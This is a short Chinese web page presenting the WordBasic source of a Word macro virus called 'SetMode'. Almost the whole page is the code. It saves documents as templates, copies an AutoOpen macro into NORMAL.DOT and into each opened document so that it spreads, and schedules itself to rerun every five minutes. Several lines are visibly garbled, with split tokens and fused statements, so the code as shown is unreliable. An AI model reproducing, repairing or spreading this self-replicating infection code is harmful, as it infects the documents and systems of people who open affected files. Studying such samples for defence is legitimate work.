naoga

SetMode病毒原码 病毒源代码

Sub MAIN

' set document mode
Dim dlg As FileSaveAs
MyFile$ = FileName$()
If    InStr(1, MyFile$, "文档") = 1 Then
          x = Dialog(dlg)
          MyFile$ = dlg.Name
'         MsgBox MyFile$, Str$(dlg.AddToMru), 64
Else
'         dlg.Format = 0                                                         
          GetCurValues dlg
          MyFile$ = dlg.Name
'         MsgBox MyFile$, Str$(dlg.AddToMru), 64
End If

' if it is Macro Document, then goto bye2
If IsMacro(0) = - 1 Then Goto Bye2

' if Document is new, then goto Bye1
If MyFile$ = "" Then Goto Bye1

' Save file as template
If dlg.Format = 0 Then
          FileSaveAs .Name = MyFile$, .Format = 1, .LockAnnot = 0, .Password = "",

.AddToMru = 1, .WritePassword = "", .RecommendReadOnly = 0, .EmbedFonts = 0, .Na
t
ivePictureFormat = 0, .FormsData = 0, .SaveAsAOCELetter = 0
Else

' search macro AutoOpen in Normal template
normal = CountMacros(0)                                                        
OkExist = 0
For i = 1 To normal
          If MacroName$(i, 0) = "AutoOpen" Then OkExist = 1
Next i

' Get normal template name
TemplateName$ = DefaultDir$(2) + "\NORMAL.DOT"
'MsgBox TemplateName$, "", 64

' copy AutoOpen to normal template
If OkExist <> 1 Then
          Organizer .Copy, .Source = MyFile$, .Destination = TemplateName$, .Name
=
"AutoOpen", .Tab = 3
'         Organizer .Copy, .Source = MyFile$, .Destination = TemplateName$, .Name
=
"SaveDoc", .Tab = 3
          FileSaveAs .Name = TemplateName$, .Format = 1, .LockAnnot = 0, .Password


' search macro AutoOpen in active document
active = CountMacros(1)= 0, .FormsData = 0, .SaveAsAOCELetter = 0              
OkExist = 0
For i = 1 To active
          If MacroName$(i, 1) = "AutoOpen" Then OkExist = 1
Next i

' copy AutoOpen to active template
If OkExist <> 1 Then
          Organizer .Copy, .Source = TemplateName$, .Destination = MyFile$, .Name
=
"AutoOpen", .Tab = 3
'         Organizer .Copy, .Source = TemplateName$, .Destination = MyFile$, .Name
=
"SaveDoc", .Tab = 3
          FileSave
Bye1:f

' set document mode
dlg.Format = 0

Bye2:

' set timer to run AutoOpen again                                              
internal = 5 / 24 / 60' internal time is 5 minutes
alarmtime = TimeValue(Time$()) + internal
alarm$ = Time$(alarmtime)
OnTime alarm$, "AutoOpen"

End Sub    

评论